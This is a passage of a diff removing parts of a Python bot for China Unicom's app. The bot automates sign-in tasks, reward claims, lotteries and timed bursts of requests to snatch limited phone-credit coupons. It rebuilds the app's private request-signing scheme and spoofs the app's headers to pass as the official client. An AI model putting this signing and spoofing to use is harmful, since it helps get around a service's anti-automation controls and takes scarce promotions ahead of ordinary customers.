- increase = current_amount - self.sign_initial_amount
- self.log(f"签到区-话费红包: 本次运行增加 {increase:.2f}元", notify=True)
- msg = f"签到区-话费红包: 总额 {current_amount:.2f}元"
- exp_val = result['data'].get('needexpNumber', 0)
- try:
- exp_num = float(exp_val)
- except:
- exp_num = 0.0
- if exp_num > 0:
- msg += f",其中 {result['data'].get('needexpNumber', '0')}元 将于 {result['data'].get('month', '')}月底到期"
- self.log(msg, notify=not is_initial)
- return current_amount
- else:
- if not silent:
- self.log(f"签到区查询话费红包失败[{status}]: {result.get('msg', '')}")
- return None
- except Exception as e:
- if not silent:
- self.log(f"sign_getTelephone 异常: {str(e)}")
- return None
-
- def sign_getTaskList(self):
- try:
- url = "https://activity.10010.com/sixPalaceGridTurntableLottery/task/taskList"
- headers = {"Referer": "https://img.client.10010.com/"}
- for i in range(30):
- res = self.request("get", url, params={"type": "2"}, headers=headers, timeout=10)
- if not res: return
- result = res.json()
- code = result.get('code')
- if code == "0329" or "火爆" in result.get('desc', ''):
- self.log("签到区: 系统繁忙(0329),停止后续尝试")
- break
- if code != "0000":
- self.log(f"签到区-任务中心: 获取任务列表失败[{code}]: {result.get('desc', '')}")
- return
- tag_list = result.get('data', {}).get('tagList', []) or []
- task_list = result.get('data', {}).get('taskList', []) or []
- all_tasks = task_list + [t for tag in tag_list for t in tag.get('taskDTOList', [])]
- all_tasks = [t for t in all_tasks if t]
- if not all_tasks:
- if i == 0: self.log("签到区-任务中心: 当前无任何任务。")
- break
- do_task = next((t for t in all_tasks if t.get('taskState') == '1' and t.get('taskType') == '5'), None)
- if do_task:
- self.log(f"签到区-任务中心: 开始执行任务 [{do_task.get('taskName')}]")
- self.sign_doTaskFromList(do_task)
- time.sleep(3)
- continue
- claim_task = next((t for t in all_tasks if t.get('taskState') == '0'), None)
- if claim_task:
- self.log(f"签到区-任务中心: 发现可领取奖励的任务 [{claim_task.get('taskName')}]")
- self.sign_getTaskReward(claim_task.get('id'))
- time.sleep(2)
- continue
- if i == 0:
- self.log("签到区-任务中心: 没有可执行或可领取的任务。")
- else:
- self.log("签到区-任务中心: 所有任务处理完毕。")
- break
- except Exception as e:
- self.log(f"sign_getTaskList 异常: {str(e)}")
-
- def sign_doTaskFromList(self, task):
- try:
- if task.get('url') and task['url'] != '1' and task['url'].startswith('http'):
- self.request("get", task['url'], headers={"Referer": "https://img.client.10010.com/"})
- self.log(f"签到区-任务中心: 浏览页面 [{task.get('taskName')}]")
- time.sleep(random.uniform(5, 7))
- orderId = self.gettaskip()
- url = "https://activity.10010.com/sixPalaceGridTurntableLottery/task/completeTask"
- params = {
- "taskId": task.get('id'),
- "orderId": orderId,
- "systemCode": "QDQD"
- }
- res = self.request("get", url, params=params)
- if not res: return
- result = res.json()
- code = result.get('code')
- if code == "0000":
- self.log(f"签到区-任务中心: ✅ 任务 [{task.get('taskName')}] 已完成")
- else:
- self.log(f"签到区-任务中心: ❌ 任务 [{task.get('taskName')}] 完成失败[{code}]: {result.get('desc', '未知错误')}")
- except Exception as e:
- self.log(f"sign_doTaskFromList 异常: {str(e)}")
-
- def sign_getTaskReward(self, task_id):
- try:
- url = "https://activity.10010.com/sixPalaceGridTurntableLottery/task/getTaskReward"
- res = self.request("get", url, params={"taskId": task_id})
- if not res: return
- result = res.json()
- code = result.get('code')
- if code == "0000":
- data = result.get('data', {})
- if data.get('code') == '0000':
- self.log(f"签到区-领取奖励: [{data.get('prizeName', '')}] {data.get('prizeNameRed', '')}")
- else:
- self.log(f"签到区-领取奖励失败[{data.get('code')}]: {result.get('desc') or data.get('desc')}")
- else:
- self.log(f"签到区-领取奖励失败[{code}]: {result.get('desc', '')}")
- except Exception as e:
- self.log(f"sign_getTaskReward 异常: {str(e)}")
-
- def sign_grabCoupon(self):
- sc = globalConfig.get("sign_config", {})
- if not sc.get("run_grab_coupon", False):
- return
- self.log(f"⚔️ [抢兑阶段] 正在检查目标: {GRAB_AMOUNT}元 话费券...")
- candidates = []
- try:
- url = "https://act.10010.com/SigninApp/new_convert/prizeList"
- headers = {"Origin": "https://img.client.10010.com"}
- res = self.request("post", url, headers=headers)
- if res:
- list_res = res.json()
- if list_res.get('status') == "0000":
- details = list_res.get('data', {}).get('datails', {})
- tab_items = details.get('tabItems', [])
- self.log(f"📋 [调试] 共获取到 {len(tab_items)} 个场次数据")
- for tab in tab_items:
- products = tab.get('timeLimitQuanListData', [])
- round_time_str = tab.get('time', '')
- round_date = None
- try:
- if round_time_str and ":" in round_time_str:
- now = datetime.now()
- date_str = now.strftime('%Y/%m/%d')
- full_time_str = f"{date_str} {round_time_str}"
- if len(round_time_str) <= 8:
- round_date = datetime.strptime(full_time_str, "%Y/%m/%d %H:%M")
- else:
- round_date = datetime.strptime(round_time_str, "%Y-%m-%d %H:%M:%S")
- except:
- pass
- for item in products:
- p_name = item.get('product_name', '')
- if str(GRAB_AMOUNT) in p_name and ("元" in p_name or "话费" in p_name):
- self.log(f" ✅ 发现目标: {p_name} (ID: {item.get('product_id')})")
- candidates.append({
- "id": item.get('product_id'),
- "name": p_name,
- "typeCode": item.get('type_code') or '0',
- "timeStr": round_time_str,
- "startTime": round_date,
- "itemData": item
- })
- except Exception as e:
- self.log(f"❌ 获取奖品列表失败: {str(e)}")
- if not candidates:
- self.log(f"⚠️ 未在任何场次中匹配到名为 '{GRAB_AMOUNT}元' 的奖品。")
- return
- now = datetime.now()
- best_candidate = None
- min_diff = float('inf')
- for cand in candidates:
- start_time = cand['startTime']
- if not start_time: continue
- diff = (start_time - now).total_seconds()
- score = 0
- if diff > 0:
- score = diff
- elif diff > -600:
- score = abs(diff) + 10000
- else:
- score = abs(diff) + 90000
- if score < min_diff:
- min_diff = score
- best_candidate = cand
- if not best_candidate:
- best_candidate = candidates[0]
- self.log(f"🎯 最终锁定场次: [{best_candidate['timeStr']}] {best_candidate['name']}")
- if best_candidate['startTime']:
- start_time = best_candidate['startTime']
- wait_seconds = (start_time - datetime.now()).total_seconds()
- if wait_seconds > 0:
- if wait_seconds > 300:
- self.log(f"⏳ 距离开抢还有 {wait_seconds:.1f} 秒,大于5分钟,暂不等待。建议在临近时间(如提前2分钟)再运行脚本。")
- return
- self.log(f"⏳ 正在等待开抢... (剩余 {wait_seconds:.1f} 秒)")
- while (best_candidate['startTime'] - datetime.now()).total_seconds() > 0.5:
- time.sleep(0.5)
- else:
- self.log(f"⚡ 当前时间已超过场次时间 {abs(wait_seconds):.1f}s,直接抢兑!")
- self.sign_grab_execute(best_candidate)
-
- def sign_grab_execute(self, candidate):
- for i in range(1, 6):
- self.log(f"🔥 [第{i}次冲击] 发起兑换请求...")
- try:
- data = {
- "product_id": candidate['id'],
- "typeCode": candidate['typeCode']
- }
- url = GRAB_URL
- headers = {
- "Origin": "https://img.client.10010.com",
- "Referer": "https://img.client.10010.com/",
- "X-Requested-With": "com.sinovatech.unicom.ui"
- }
- res = self.request("post", url, data=data, headers=headers)
- if not res: continue
- result = res.json()
- uuid_val = result.get('data', {}).get('uuid')
- status = result.get('status')
- if status == "0000" and uuid_val:
- self.log(f"📝 [提交成功] 获取到工单号: {uuid_val},正在查询最终结果...")
- check_url = "https://act.10010.com/SigninApp/convert/prizeConvertResult"
- check_data = { "uuid": uuid_val }
- check_res = self.request("post", check_url, data=check_data, headers=headers)
- if not check_res: continue
- final_res = check_res.json()
- final_status = final_res.get('status')
- if final_status == "0000":
- self.log(f"🎉🎉🎉 [抢兑成功] 恭喜!已成功抢到目标奖品! 🎉🎉🎉", notify=True)
- return
- else:
- err_code = final_res.get('data', {}).get('errorCode', '')
- msg = final_res.get('msg', '') or final_res.get('message', '未知原因')
- detail_msg = final_res.get('data', {}).get('rightBtn', {}).get('name', '')
- log_msg = f"💔 [抢兑失败] 状态: {final_status}"
- if err_code: log_msg += f" | 错误码: {err_code}"
- if detail_msg: log_msg += f" | 详情: {detail_msg}"
- log_msg += f" | 提示: {msg}"
- self.log(log_msg, notify=True)
- else:
- self.log(f"📝 提交结果: {result.get('msg') or result.get('message') or json.dumps(result)}")
- time.sleep(0.2)
- except Exception as e:
- self.log(f"❌ 抢兑异常: {str(e)}")
-
- def get_wocare_body(self, apiCode, requestData={}):
- timestamp = datetime.now().strftime('%Y%m%d%H%M%S') + str(int(datetime.now().microsecond / 1000)).zfill(3)
- encodedContent = base64.b64encode(json.dumps(requestData, separators=(',', ':')).encode('utf-8')).decode('utf-8')
- body = {
- "version": WOCARE_CONSTANTS["minRetries"],
- "apiCode": apiCode,
- "channelId": WOCARE_CONSTANTS["anotherApiKey"],
- "transactionId": timestamp + self.random_string(6, "0123456789"),
- "timeStamp": timestamp,
- "messageContent": encodedContent
- }
- params_array = []
- for key in sorted(body.keys()):
- params_array.append(f"{key}={body[key]}")
- params_array.append(f"sign={WOCARE_CONSTANTS['anotherEncryptionKey']}")
- sign_str = "&".join(params_array)
- body["sign"] = hashlib.md5(sign_str.encode('utf-8')).hexdigest()
- return body
-
- def wocare_api(self, apiCode, requestData={}):
- try:
- url = f"https://wocare.unisk.cn/api/v1/{apiCode}"
- body = self.get_wocare_body(apiCode, requestData)
- res = self.request("post", url, data=body)
- if not res: return None
- result = res.json()
- if result.get("messageContent"):
- try:
- content = result["messageContent"]
- content = content.replace('\n', '').replace('\r', '').replace(' ', '')
- content = content.replace('-', '+').replace('_', '/')
- missing_padding = len(content) % 4
- if missing_padding:
- content += '=' * (4 - missing_padding)
- try:
- decoded_bytes = base64.b64decode(content)
- decoded_str = decoded_bytes.decode('utf-8')
- except UnicodeDecodeError:
- decoded_str = decoded_bytes.decode('utf-8', errors='replace')
- except Exception as e:
- decoded_str = "{}"
- try:
- decoded = json.loads(decoded_str, strict=False)
- except:
- decoded_str = re.sub(r'[\x00-\x1f\x7f]', '', decoded_str)
- try:
- decoded = json.loads(decoded_str, strict=False)
- except:
- decoded = {}
- if isinstance(decoded, dict):
- if "data" in decoded:
- result["data"] = decoded["data"]
- else:
- result["data"] = decoded
- if "resultMsg" in decoded:
- result["resultMsg"] = decoded["resultMsg"]
- if "resultCode" in decoded:
- result["resultCode"] = decoded["resultCode"]
- except Exception as e:
- self.log(f"联通祝福: 解析返回失败: {str(e)}")
- return result
- except Exception as e:
- self.log(f"wocare_api 异常: {str(e)}")
- return None
-
- def wocare_getToken(self, ticket):
- try:
- url = "https://wocare.unisk.cn/mbh/getToken"
- params = {
- "channelType": WOCARE_CONSTANTS["serviceLife"],
- "type": "02",
- "ticket": ticket,
- "version": COMMON_CONSTANTS["APP_VERSION"],
- "timestamp": datetime.now().strftime('%Y%m%d%H%M%S') + str(int(datetime.now().microsecond / 1000)).zfill(3),
- "desmobile": self.account_mobile,
- "num": "0",
- "postage": self.random_string(32),
- "homePage": "home",
- "duanlianjieabc": "qAz2m",
- "userNumber": self.account_mobile
- }
- res = self.session.get(url, params=params, allow_redirects=False, timeout=15)
- if res.status_code == 302:
- location = res.headers.get("Location", "")
- if location:
- parsed = urlparse(location)
- sid = parse_qs(parsed.query).get("sid", [None])[0]
- if not sid:
- sid = parse_qs(parsed.query).get("uuid", [None])[0]
- if sid:
- self.log(f"联通祝福: 未找到sid,使用uuid替代: {sid}")
- if sid:
- self.wocare_sid = sid
- return self.wocare_loginmbh()
- else:
- self.log(f"联通祝福: 没有获取到sid或uuid, Location: {location}")
- else:
- self.log("联通祝福: 没有获取到location")
- else:
- self.log(f"联通祝福: 获取sid失败[{res.status_code}]")
- except Exception as e:
- self.log(f"wocare_getToken 异常: {str(e)}")
- return False
-
- def wocare_loginmbh(self):
- try:
- apiCode = "loginmbh"
- requestData = {
- "sid": self.wocare_sid,
- "channelType": WOCARE_CONSTANTS["serviceLife"],
- "apiCode": apiCode
- }
- result = self.wocare_api(apiCode, requestData)
- if not result: return False
- responseResult = result
- resultCode = responseResult.get("resultCode", "-1")
- if resultCode == "0000":
- self.wocare_token = responseResult.get("data", {}).get("token")
- self.log("联通祝福: 登录成功")
- return True
- else:
- msg = responseResult.get("resultMsg") or responseResult.get("resultDesc") or ""
- self.log(f"联通祝福: 登录失败[{resultCode}]: {msg}")
- except Exception as e:
- self.log(f"wocare_loginmbh 异常: {str(e)}")
- return False
-
- def wocare_getDrawTask(self, activity):
- try:
- apiCode = "getDrawTask"
- requestData = {
- "token": self.wocare_token,
- "channelType": WOCARE_CONSTANTS["serviceLife"],
- "type": activity["id"],
- "apiCode": apiCode
- }
- result = self.wocare_api(apiCode, requestData)
- responseResult = result if result else {}
- resultCode = responseResult.get("resultCode", "-1")
- if resultCode == "0000":
- taskList = responseResult.get("data", {}).get("taskList", []) or []
- if not taskList:
- pass
- else:
- self.log(f"联通祝福: [{activity['name']}] 查询到 {len(taskList)} 个任务")
- for task in taskList:
- ts = task.get("taskStatus")
- if str(ts) == "0" or not ts:
- self.wocare_completeTask(activity, task)
- else:
- msg = responseResult.get("resultMsg") or responseResult.get("resultDesc") or ""
- self.log(f"联通祝福: [{activity['name']}]查询任务失败[{resultCode}]: {msg}")
- except Exception as e:
- self.log(f"wocare_getDrawTask 异常: {str(e)}")
-
- def wocare_completeTask(self, activity, task, taskStep="1"):
- try:
- taskTitle = task.get("title", "")
- action = "领取任务" if taskStep == "1" else "完成任务"
- apiCode = "completeTask"
- requestData = {
- "token": self.wocare_token,
- "channelType": WOCARE_CONSTANTS["serviceLife"],
- "task": task.get("id"),
- "taskStep": taskStep,
- "type": activity["id"],
- "apiCode": apiCode
- }
- result = self.wocare_api(apiCode, requestData)
- responseResult = result if result else {}
- resultCode = responseResult.get("resultCode", "-1")
- if resultCode == "0000":
- self.log(f"联通祝福: {action}[{taskTitle}]成功")
- if taskStep == "1":
- time.sleep(1)
- self.wocare_completeTask(activity, task, "4")
- else:
- msg = responseResult.get("resultMsg") or responseResult.get("resultDesc") or ""
- self.log(f"联通祝福: [{activity['name']}]{action}[{taskTitle}]失败[{resultCode}]: {msg}")
- except Exception as e:
- self.log(f"wocare_completeTask 异常: {str(e)}")
-
- def wocare_getSpecificityBanner(self):
- try:
- apiCode = "getSpecificityBanner"
- requestData = {
- "token": self.wocare_token,
- "apiCode": apiCode
- }
- result = self.wocare_api(apiCode, requestData)
- responseResult = result if result else {}
- resultCode = responseResult.get("resultCode", "-1")
- if resultCode == "0000":
- bannerList = responseResult.get("data", []) or []
- if not bannerList:
- self.log(f"联通祝福: 获取动态 Banner 列表为空,接口明细: {responseResult}")
- for banner in bannerList:
- if str(banner.get("activityStatus")) == "0" and str(banner.get("isDeleted")) == "0":
- self.wocare_getDrawTask(banner)
- self.wocare_loadInit(banner)
- else:
- msg = responseResult.get("resultMsg") or responseResult.get("resultDesc", "")
- self.log(f"联通祝福: 进入活动失败[{resultCode}]: {msg}")
- except Exception as e:
- self.log(f"wocare_getSpecificityBanner 异常: {str(e)}")
-
- def wocare_loadInit(self, activity):
- try:
- apiCode = "loadInit"
- requestData = {
- "token": self.wocare_token,
- "channelType": WOCARE_CONSTANTS["serviceLife"],
- "type": activity["id"],
- "apiCode": apiCode
- }
- result = self.wocare_api(apiCode, requestData)
- responseResult = result if result else {}
- resultCode = responseResult.get("resultCode", "-1")
- if resultCode == "0000":
- responseData = responseResult.get("data", {}) or {}
- activeModuleGroupId = responseData.get("zActiveModuleGroupId")
- drawCount = 0
- aid = activity["id"]
- if aid == 2:
- isPartake = responseData.get("data", {}).get("isPartake") or 0
- if not isPartake:
- drawCount = 1
- elif aid == 3:
- drawCount = int(responseData.get("raffleCountValue", 0) or 0)
- elif aid == 4:
- drawCount = int(responseData.get("mhRaffleCountValue", 0) or 0)
- if drawCount > 0:
- self.log(f"联通祝福: [{activity['name']}] 可抽奖次数 {drawCount}")
- else:
- self.log(f"联通祝福: [{activity['name']}] 今日已无抽奖机会")
- while drawCount > 0:
- time.sleep(2)
- self.wocare_luckDraw(activity, activeModuleGroupId)
- drawCount -= 1
- else:
- msg = responseResult.get("resultMsg") or responseResult.get("resultDesc") or ""
- self.log(f"联通祝福: [{activity['name']}]查询活动失败[{resultCode}]: {msg}")
- except Exception as e:
- self.log(f"wocare_loadInit 异常: {str(e)}")
-
- def wocare_luckDraw(self, activity, activeModuleGroupId):
- try:
- apiCode = "luckDraw"
- requestData = {
- "token": self.wocare_token,
- "channelType": WOCARE_CONSTANTS["serviceLife"],
- "zActiveModuleGroupId": activeModuleGroupId,
- "type": activity["id"],
- "apiCode": apiCode
- }
- result = self.wocare_api(apiCode, requestData)
- responseResult = result if result else {}
- resultCode = responseResult.get("resultCode", "-1")
- if resultCode == "0000":
- resultData = responseResult.get("data", {}) or {}
- drawResultCode = resultData.get("resultCode", "-1")
- if drawResultCode == "0000":
- prize = resultData.get("data", {}).get("prize", {})
- prizeName = prize.get("prizeName", "")
- prizeDesc = prize.get("prizeDesc", "")
- self.log(f"联通祝福: [{activity['name']}]抽奖: {prizeName}[{prizeDesc}]", notify=True)
- else:
- msg = responseResult.get("resultMsg") or responseResult.get("resultDesc") or ""
- if msg.lower() == "success":
- self.log(f"联通祝福: [{activity['name']}] 未中奖 (继续努力)")
- else:
- self.log(f"联通祝福: [{activity['name']}] 抽奖并未中奖: {msg}")
- else:
- msg = responseResult.get("resultMsg") or responseResult.get("resultDesc") or ""
- if msg.lower() == "success":
- self.log(f"联通祝福: [{activity['name']}] 未中奖 (继续努力)")
- else:
- self.log(f"联通祝福: [{activity['name']}] 抽奖异常[{resultCode}]: {msg}")
- except Exception as e:
- self.log(f"wocare_luckDraw 异常: {str(e)}")
-
- def parse_jwt_payload(self, token):
- try:
- payload = token.split('.')[1]
- padding = len(payload) % 4
- if padding:
- payload += '=' * (4 - padding)
- payload = payload.replace('-', '+').replace('_', '/')
- decoded_bytes = base64.b64decode(payload)
- return json.loads(decoded_bytes.decode('utf-8'))
- except Exception as e:
- self.log(f"JWT Decode Error: {e}")
- return {}
-
- def generate_market_signature_headers(self, user_token, query_string="", json_body=""):
- try:
- token = user_token.replace('Bearer ', '')
- payload = self.parse_jwt_payload(token)
- login_id = payload.get('loginId', '')
- app_secret = hashlib.md5(f"al:ak:{login_id}".encode('utf-8')).hexdigest()
- nonce = str(uuid.uuid4())
- message = f"{login_id}{app_secret}{nonce}{query_string or ''}{json_body or ''}"
- signature = base64.b64encode(
- hmac.new(
- app_secret.encode('utf-8'),
- message.encode('utf-8'),
- digestmod=hashlib.sha256
- ).digest()
- ).decode('utf-8')
- return {
- 'X-User-Id': login_id,
- 'X-Nonce': nonce,
- 'X-Timestamp': str(int(time.time() * 1000)),
- 'X-Signature': signature,
- 'Content-Type': 'application/json'
- }
- except Exception as e:
- self.log(f"Signature Generation Error: {e}")
- return {}
-
- def generate_market_watering_signature_headers(self, user_token, xbsosjl, login_id):
- try:
- signature_ts = str(int(time.time() * 1000))
- message = f"td:433:tp{xbsosjl}td:334:et{login_id}td:334:et{signature_ts}td:334:et"
- signature = base64.b64encode(
- hmac.new(
- str(login_id).encode('utf-8'),
- message.encode('utf-8'),
- digestmod=hashlib.sha256,
- ).digest()
- ).decode('utf-8')
- return {'X-Signature': signature}
- except Exception as e:
- self.log(f"Market Watering Signature Error: {e}")
- return {}
-
- def get_market_headers(self, user_token):
- return {
- 'User-Agent': COMMON_CONSTANTS['MARKET_UA'],
- 'Authorization': f"Bearer {user_token}",
- 'Content-Type': 'application/json',
- 'X-Requested-With': 'com.sinovatech.unicom.ui'
- }
-
- def market_get_ticket(self):
- self.log("权益超市: 正在获取 ticket...")
- target_url = "https://contact.bol.wo.cn/market"
- res = self.openPlatLineNew(target_url)
- if res and 'ticket' in res:
- self.log("权益超市: 获取ticket成功")
- return res['ticket']
- self.log("权益超市: 获取ticket失败")
- return None
-
- def market_get_user_token(self, ticket):
- url = f"https://backward.bol.wo.cn/prod-api/auth/marketUnicomLogin?ticket={ticket}"
- headers = {
- 'User-Agent': COMMON_CONSTANTS['MARKET_UA'],
- 'Connection': "Keep-Alive",
- 'Accept-Encoding': "gzip",
- }
- for attempt in range(1, 4):
- try:
- self.log(f"权益超市: 正在获取 userToken...{f' (第{attempt}次重试)' if attempt > 1 else ''}")
- res = self.session.post(url, headers=headers, timeout=30).json()
- if res.get('code') == 200:
- user_token = res.get('data', {}).get('token')
- if user_token:
- self.log("权益超市: 获取userToken成功")
- return user_token
- self.log(f"权益超市: 获取userToken失败: {res.get('msg')}")
- except Exception as e:
- self.log(f"权益超市: 获取userToken异常: {e}")
- if attempt < 3:
- self.log(f"权益超市: 等待5秒后重试...")
- time.sleep(5)
- return None
-
- def query_market_watering_status(self, user_token):
- try:
- status_url = "https://backward.bol.wo.cn/prod-api/promotion/activityTask/getMultiCycleProcess?activityId=13"
- headers = self.get_market_headers(user_token)
- res = self.session.get(status_url, headers=headers).json()
- if res.get('code') == 200:
- data = res.get('data', {})
- triggered_time = data.get('triggeredTime', 0)
- trigger_time = data.get('triggerTime', 0)
- create_date = data.get('createDate', '')
- self.log(f"权益超市-浇花当前状况: 进度 {triggered_time}/{trigger_time}", notify=True)
- if triggered_time >= trigger_time:
- self.log("权益超市-浇花: 🌟 您有鲜花权益待领取! (连续浇花已满) 🌟", notify=True)
- else:
- today_str = datetime.now().strftime('%Y-%m-%d')
- last_watered = create_date.split(' ')[0] if create_date else ''
- if today_str == last_watered:
- self.log(f"权益超市-浇花: 今日已浇水 (最后: {create_date})", notify=True)
- else:
- self.log("权益超市-浇花: 今日尚未浇水。")
- else:
- self.log(f"权益超市-浇花查验: 查询状态失败: {res.get('msg')}")
- except Exception as e:
- self.log(f"权益超市-浇花查验: 异常: {e}")
-
- def market_watering_task(self, user_token):
- self.log("权益超市: 浇花任务开始...")
- try:
- status_url = "https://backward.bol.wo.cn/prod-api/promotion/activityTask/getMultiCycleProcess?activityId=13"
- headers = self.get_market_headers(user_token)
- res = self.session.get(status_url, headers=headers).json()
- if res.get('code') != 200:
- self.log(f"权益超市-浇花: 获取状态失败: {res.get('msg')}")
- return
- data = res.get('data', {})
- triggered_time = data.get('triggeredTime', 0)
- trigger_time = data.get('triggerTime', 0)
- create_date = data.get('createDate', '')
- self.log(f"权益超市-浇花: 当前进度 {triggered_time}/{trigger_time}", notify=True)
- if triggered_time >= trigger_time:
- self.log("权益超市-浇花: 🌟 您有鲜花权益待领取! (连续浇花已满) 🌟", notify=True)
- return
- today_str = datetime.now().strftime('%Y-%m-%d')
- last_watered = create_date.split(' ')[0] if create_date else ''
- if today_str == last_watered:
- self.log(f"权益超市-浇花: 今日已浇水 (最后: {create_date})", notify=True)
- return
- self.log("权益超市-浇花: 今日未浇水,执行浇水操作...")
- token = user_token.replace('Bearer ', '')
- payload = self.parse_jwt_payload(token)
- login_id = payload.get('loginId', '')
- if not login_id:
- self.log("权益超市-浇花: ❌ 无法获取登录标识,跳过")
- return
- xbsosjl = "Y1mN8fNYktY0"
- request_ts = str(int(time.time() * 1000))
- query_string = f"xbsosjl={xbsosjl}&timeVerRan={request_ts}&diceid={login_id}"
- watering_url = f"https://backward.bol.wo.cn/prod-api/promotion/activityTaskShare/checkWatering?{query_string}"
- req_headers = {
- 'Authorization': f"Bearer {user_token.replace('Bearer ', '')}",
- 'X-Signature': self.generate_market_watering_signature_headers(user_token, xbsosjl, login_id).get('X-Signature', ''),
- 'User-Agent': COMMON_CONSTANTS['MARKET_H5_UA'],
- 'Content-Type': 'application/json',
- 'Origin': 'https://contact.bol.wo.cn',
- 'Referer': 'https://contact.bol.wo.cn/',
- 'X-Requested-With': 'com.sinovatech.unicom.ui',
- 'Accept': '*/*',
- }
- res = self.session.post(watering_url, headers=req_headers, data="{}").json()
- if res.get('code') == 200:
- self.log("权益超市-浇花: ✅ 浇水成功!", notify=True)
- return
- self.log(f"权益超市-浇花: ❌ 浇水失败: {res.get('msg')}")
- except Exception as e:
- self.log(f"权益超市-浇花: 异常: {e}")
-
- def market_get_raffle(self, user_token):
- self.log("权益超市: 正在查询奖品池...")
- try:
- timestamp = int(time.time() * 1000)
- query_string = f"id=12&timeVerRan={timestamp}"
- json_body = "{}"
- sig_headers = self.generate_market_signature_headers(user_token, query_string, json_body)
- url = f"https://backward.bol.wo.cn/prod-api/promotion/home/raffleActivity/prizeList?{query_string}"
- headers = self.get_market_headers(user_token)
- headers.update(sig_headers)
- headers['Referer'] = 'https://contact.bol.wo.cn/market'
- headers['Origin'] = 'https://contact.bol.wo.cn'
- res = self.session.post(url, headers=headers, data=json_body).json()
- if res.get('code') == 200 and isinstance(res.get('data'), list):
- keywords = ['月卡', '月会员', '月度', 'VIP月', '一个月', '周卡']
- exclude = ['5G宽视界', '沃视频']
- live_prizes = []
- for p in res['data']:
- vip_prob = float(p.get('probabilityVip') or p.get('newVipProbability') or 0)
- norm_prob = float(p.get('probability') or 0)
- name = p.get('name', '')
- daily_limit = int(p.get('dailyPrizeLimit') or 0)
- match = any(k in name for k in keywords)
- not_excluded = not any(e in name for e in exclude)
- has_stock = daily_limit > 0
- has_chance = norm_prob > 0 or vip_prob > 0
- if match and not_excluded and has_stock and has_chance:
- live_prizes.append(p)
- total_limit = int(p.get('quantity') or 0)
- self.log(f"权益超市: 【{name}】监测到放水 (日库存:{daily_limit}, 总库存:{total_limit}, 普通概率:{(norm_prob * 100):.4f}%, VIP概率:{(vip_prob * 100):.4f}%)")
- if live_prizes:
- return True
- self.log("权益超市: 📢 未监测到高价值权益放水")
- return False
- except Exception as e:
- self.log(f"权益超市: 查询奖品池异常: {e}")
- return False
-
- def market_get_raffle_count(self, user_token):
- try:
- timestamp = int(time.time() * 1000)
- query_string = f"id=12&channel=unicomTab&timeVerRan={timestamp}"
- json_body = "{}"
- sig_headers = self.generate_market_signature_headers(user_token, query_string, json_body)
- url = f"https://backward.bol.wo.cn/prod-api/promotion/home/raffleActivity/getUserRaffleCountExt?{query_string}"
- headers = self.get_market_headers(user_token)
- headers.update(sig_headers)
- headers['Referer'] = 'https://contact.bol.wo.cn/market'
- headers['Origin'] = 'https://contact.bol.wo.cn'
- res = self.session.post(url, headers=headers, data=json_body).json()
- count = 0
- if res.get('code') == 200:
- data = res.get('data')
- if isinstance(data, dict):
- count = int(data.get('raffleCount') or 0)
- else:
- count = int(data or 0)
- if count > 0:
- self.log(f"权益超市: ✅ 当前抽奖次数: {count}")
- for i in range(count):
- self.log(f"权益超市: 🎯 第 {i+1} 次抽奖...")
- if not self.market_user_raffle(user_token):
- break
- time.sleep(3 + random.random() * 2)
- else:
- self.log("权益超市: 当前无抽奖次数")
- except Exception as e:
- self.log(f"权益超市: 查询抽奖次数异常: {e}")
-
- def market_user_raffle(self, user_token):
- try:
- timestamp = int(time.time() * 1000)
- query_string = f"id=12&channel=unicomTab&timeVerRan={timestamp}"
- json_body = "{}"
- sig_headers = self.generate_market_signature_headers(user_token, query_string, json_body)
- url = f"https://backward.bol.wo.cn/prod-api/promotion/home/raffleActivity/userRaffle?{query_string}"
- headers = self.get_market_headers(user_token)
- headers.update(sig_headers)
- headers['Referer'] = 'https://contact.bol.wo.cn/market'
- res = self.session.post(url, headers=headers, data=json_body).json()
- if res.get('code') == 200:
- data = res.get('data', {})
- prize_name = data.get('prizesName', '')
- message = data.get('message') or res.get('msg') or ""
- if prize_name and "谢谢参与" not in prize_name:
- self.log(f"权益超市: 🎉 抽奖成功: {prize_name}", notify=True)
- return True
- self.log(f"权益超市: 💨 未中奖: {message}", notify=True)
- return True
- self.log(f"权益超市: 抽奖失败: {res.get('msg')}")
- return False
- except Exception as e:
- self.log(f"权益超市: 抽奖异常: {e}")
- return False
-
- def market_get_all_tasks(self, ecs_token, user_token):
- url = "https://backward.bol.wo.cn/prod-api/promotion/activityTask/getAllActivityTasks?activityId=12"
- headers = {
- "Authorization": f"Bearer {user_token}",
- "User-Agent": COMMON_CONSTANTS["MARKET_UA"],
- "Origin": "https://contact.bol.wo.cn",
- "Referer": "https://contact.bol.wo.cn/",
- "Cookie": f"ecs_token={ecs_token}"
- }
- for attempt in range(1, 4):
- try:
- self.log(f"权益超市: 正在获取任务列表...{f' (第{attempt}次重试)' if attempt > 1 else ''}")
- res = self.session.get(url, headers=headers, timeout=15).json()
- if res.get('code') == 200:
- tasks = res.get('data', {}).get('activityTaskUserDetailVOList', [])
- self.log(f"权益超市: 成功获取到 {len(tasks)} 个任务")
- return tasks
- self.log(f"权益超市: 查询任务列表失败: {res.get('msg')}")
- except Exception as e:
- self.log(f"权益超市: 获取任务列表异常: {e}")
- if attempt < 3:
- self.log("权益超市: 等待5秒后重试...")
- time.sleep(5)
- return []
-
- def market_do_share_list(self, share_list, user_token):
- self.log("权益超市: 开始执行任务...")
- for task in share_list:
- name = task.get('name', '')
- param = task.get('param1', '')
- trigger_time = task.get('triggerTime', 0)
- triggered_time = task.get('triggeredTime', 0)
- if any(k in name for k in ["购买", "秒杀"]):
- self.log(f"权益超市: 🚫 {name} [跳过]")
- continue
- if triggered_time >= trigger_time:
- self.log(f"权益超市: ✅ {name} [已完成]")
- continue
- url = ""
- if any(k in name for k in ["浏览", "查看"]):
- url = f"https://backward.bol.wo.cn/prod-api/promotion/activityTaskShare/checkView?checkKey={param}"
- elif "分享" in name:
- url = f"https://backward.bol.wo.cn/prod-api/promotion/activityTaskShare/checkShare?checkKey={param}"
- if url:
- try:
- headers = {
- "Authorization": f"Bearer {user_token}",
- "User-Agent": COMMON_CONSTANTS["MARKET_UA"],
- "Origin": "https://contact.bol.wo.cn",
- "Referer": "https://contact.bol.wo.cn/"
- }
- res = self.session.post(url, json={}, headers=headers, timeout=15).json()
- if res.get('code') == 200:
- self.log(f"权益超市: ✅ {name} [执行成功]")
- else:
- self.log(f"权益超市: ❌ {name} [执行失败]: {res.get('msg')}")
- except Exception as e:
- self.log(f"权益超市: ❌ {name} [执行异常]: {e}")
- time.sleep(2)
-
- def market_get_points_ticket(self, user_token):
- try:
- res = self.session.get(
